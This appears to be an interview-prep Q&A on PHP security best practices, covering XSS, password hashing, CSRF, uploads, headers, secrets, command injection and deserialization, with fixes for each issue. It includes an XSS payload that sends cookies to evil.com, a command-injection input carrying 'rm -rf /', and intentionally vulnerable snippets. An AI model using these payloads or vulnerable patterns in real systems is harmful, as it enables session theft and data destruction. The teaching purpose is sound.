Security Best Practices
Learn to protect PHP apps from SQL Injection, XSS, CSRF, and remote code execution. Cover data sanitation and validation.
Downloaded from PrepIQ (https://prepiq.online)
Q1. What is Cross-Site Scripting (XSS) and how do you prevent it in PHP?
XSS occurs when an attacker injects malicious JavaScript into pages viewed by other users, often via unescaped user input rendered in HTML.
echo 'Welcome, ' . $_GET['name'];Input:
<script>document.location='http://evil.com/steal?c='+document.cookie</script>Safe:
echo 'Welcome, ' . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');| Practice | Why it helps |
|---|---|
| htmlspecialchars() on output | Converts special chars so browsers render, not execute, them |
| Content-Security-Policy header | Blocks inline/unauthorized scripts even if one slips through |
| httponly cookies | Prevents JS from reading session cookies |
Q2. How should passwords be hashed and verified securely in PHP?
Never store plaintext or reversibly-encrypted passwords. Use PHP's built-in password_hash() which uses bcrypt (or Argon2) with automatic salting.
// Hashing on registration
$hashedPassword = password_hash($plainPassword, PASSWORD_DEFAULT);
// Verifying on login
if (password_verify($inputPassword, $hashedPassword)) {
// Password is correct
}
// Checking if rehash is needed (e.g. after cost factor upgrade)
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
$newHash = password_hash($plainPassword, PASSWORD_DEFAULT);
}| Never do this | Why |
|---|---|
| md5($password) | Fast to brute-force, no salting |
| sha1($password) | Same issue - designed for speed, not security |
Q3. What is CSRF and how do you protect forms against it in PHP?
CSRF (Cross-Site Request Forgery) tricks an authenticated user's browser into submitting a request they didn't intend, using their existing session cookies.
// Generate token and store in session
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// In the form
<input type='hidden' name='csrf_token' value='<?= $_SESSION['csrf_token'] ?>'>
// On submit, verify
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
die('CSRF token mismatch');
}Q4. How do you securely handle file uploads in PHP?
Unrestricted file uploads can let attackers upload executable scripts disguised as images. Multiple layers of validation are needed.
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$maxSize = 2 * 1024 * 1024; // 2MB
$fileInfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($fileInfo, $_FILES['upload']['tmp_name']);
if (!in_array($mimeType, $allowedTypes)) {
die('Invalid file type');
}
if ($_FILES['upload']['size'] > $maxSize) {
die('File too large');
}
$newName = bin2hex(random_bytes(16)) . '.jpg';
move_uploaded_file($_FILES['upload']['tmp_name'], '/uploads/' . $newName);| Practice | Why |
|---|---|
| Check actual MIME type, not extension | Extensions can be spoofed easily |
| Rename uploaded files | Prevents overwriting and path traversal |
| Store outside webroot or block execution | Even if malicious, script can't run |
Q5. What is the difference between authentication and authorization, and how do you implement both securely?
| Concept | Question it answers | Example |
|---|---|---|
| Authentication | Who are you? | Login with email/password |
| Authorization | What are you allowed to do? | Only admins can delete users |
// Authentication - verifying identity
if (password_verify($password, $user->password)) {
session_regenerate_id(true);
$_SESSION['user_id'] = $user->id;
}
// Authorization - checking permission
function requireRole($role) {
if ($_SESSION['user_role'] !== $role) {
http_response_code(403);
die('Forbidden');
}
}
requireRole('admin');A common mistake is confusing the two - a user can be authenticated (logged in) but still not authorized for a specific action.
Q6. What is input validation vs sanitization, and why do you need both?
| Concept | Purpose | Example |
|---|---|---|
| Validation | Checks if data meets expected rules; rejects if not | Is this a valid email format? |
| Sanitization | Cleans/transforms data to make it safe | Strip HTML tags from a comment |
// Validation - reject bad input
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die('Invalid email');
}
// Sanitization - clean input for safe use
$comment = strip_tags($_POST['comment']);
$safeOutput = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');Validation happens on input (accept or reject); sanitization/escaping should ideally happen on output, tailored to the context (HTML, SQL, URL, etc.) it's being used in.
Q7. What security headers should a PHP application send and why?
| Header | Protects against |
|---|---|
| Content-Security-Policy | XSS by restricting script/resource sources |
| X-Frame-Options: DENY | Clickjacking (embedding site in an iframe) |
| X-Content-Type-Options: nosniff | MIME-sniffing attacks |
| Strict-Transport-Security | Forces HTTPS, prevents downgrade attacks |
| Referrer-Policy | Limits leaking sensitive URL info to third parties |
header("Content-Security-Policy: default-src 'self'");
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
Q8. How do you securely store and manage sensitive configuration like API keys?
Sensitive credentials should never be hardcoded in source code or committed to version control. Use environment variables instead.
// .env file (added to .gitignore, never committed)
DB_PASSWORD=secret123
STRIPE_SECRET_KEY=sk_live_xxxxx
// Loading in PHP
$dbPassword = getenv('DB_PASSWORD');
// Or in Laravel
$stripeKey = config('services.stripe.secret');| Bad practice | Good practice |
|---|---|
| Hardcoding keys in .php files | Reading from environment variables (.env) |
| Committing .env to git | Adding .env to .gitignore |
| Same credentials for dev/prod | Separate credentials per environment |
For production, consider dedicated secret managers (AWS Secrets Manager, HashiCorp Vault) for extra rotation and access-control capabilities.
Q9. What is command injection and how do you prevent it in PHP?
Command injection happens when user input is passed unsanitized into shell execution functions, letting attackers run arbitrary system commands.
$filename = $_GET['file'];
system('cat ' . $filename);Input:
file.txt; rm -rf / executes both commandsSafer:
$filename = escapeshellarg($_GET['file']);
system('cat ' . $filename);| Practice | Why |
|---|---|
| Avoid shell functions entirely when possible | Use native PHP functions like file_get_contents() instead |
| escapeshellarg() / escapeshellcmd() | Escapes shell metacharacters if shell exec is unavoidable |
| Whitelist allowed values | Strongest defense - only permit known-safe inputs |
Q10. What is insecure deserialization and how do you avoid it in PHP?
PHP's unserialize() can instantiate objects and trigger magic methods (__wakeup, __destruct) from attacker-controlled data, potentially leading to remote code execution.
$data = unserialize($_COOKIE['user_data']);An attacker can craft a serialized payload that triggers unintended object behavior when instantiated.
Safer:
$data = json_decode($_COOKIE['user_data'], true);| Practice | Why |
|---|---|
| Use JSON instead of PHP serialization for untrusted data | JSON has no code-execution side effects |
| If unserialize() is required, use allowed_classes option | Limits which classes can be instantiated |
$data = unserialize($input, ['allowed_classes' => false]);
Security Best Practices
Learn to protect PHP apps from SQL Injection, XSS, CSRF, and remote code execution. Cover data sanitation and validation.
What is Cross-Site Scripting (XSS) and how do you prevent it in PHP?
XSS occurs when an attacker injects malicious JavaScript into pages viewed by other users, often via unescaped...
How should passwords be hashed and verified securely in PHP?
Never store plaintext or reversibly-encrypted passwords. Use PHP's built-in password_hash() which uses bcrypt...
What is CSRF and how do you protect forms against it in PHP?
CSRF (Cross-Site Request Forgery) tricks an authenticated user's browser into submitting a request they didn't...
How do you securely handle file uploads in PHP?
Unrestricted file uploads can let attackers upload executable scripts disguised as images. Multiple layers of...
What is the difference between authentication and authorization, and how do you implement both securely?
ConceptQuestion it answersExampleAuthenticationWho are you?Login with email/passwordAuthorizationWhat are you...
What is input validation vs sanitization, and why do you need both?
ConceptPurposeExampleValidationChecks if data meets expected rules; rejects if notIs this a valid email format...
What security headers should a PHP application send and why?
HeaderProtects againstContent-Security-PolicyXSS by restricting script/resource sourcesX-Frame-Options: DENYCl...
How do you securely store and manage sensitive configuration like API keys?
Sensitive credentials should never be hardcoded in source code or committed to version control. Use environmen...
What is command injection and how do you prevent it in PHP?
Command injection happens when user input is passed unsanitized into shell execution functions, letting attack...
What is insecure deserialization and how do you avoid it in PHP?
PHP's unserialize() can instantiate objects and trigger magic methods (__wakeup, __destruct) from attacker-con...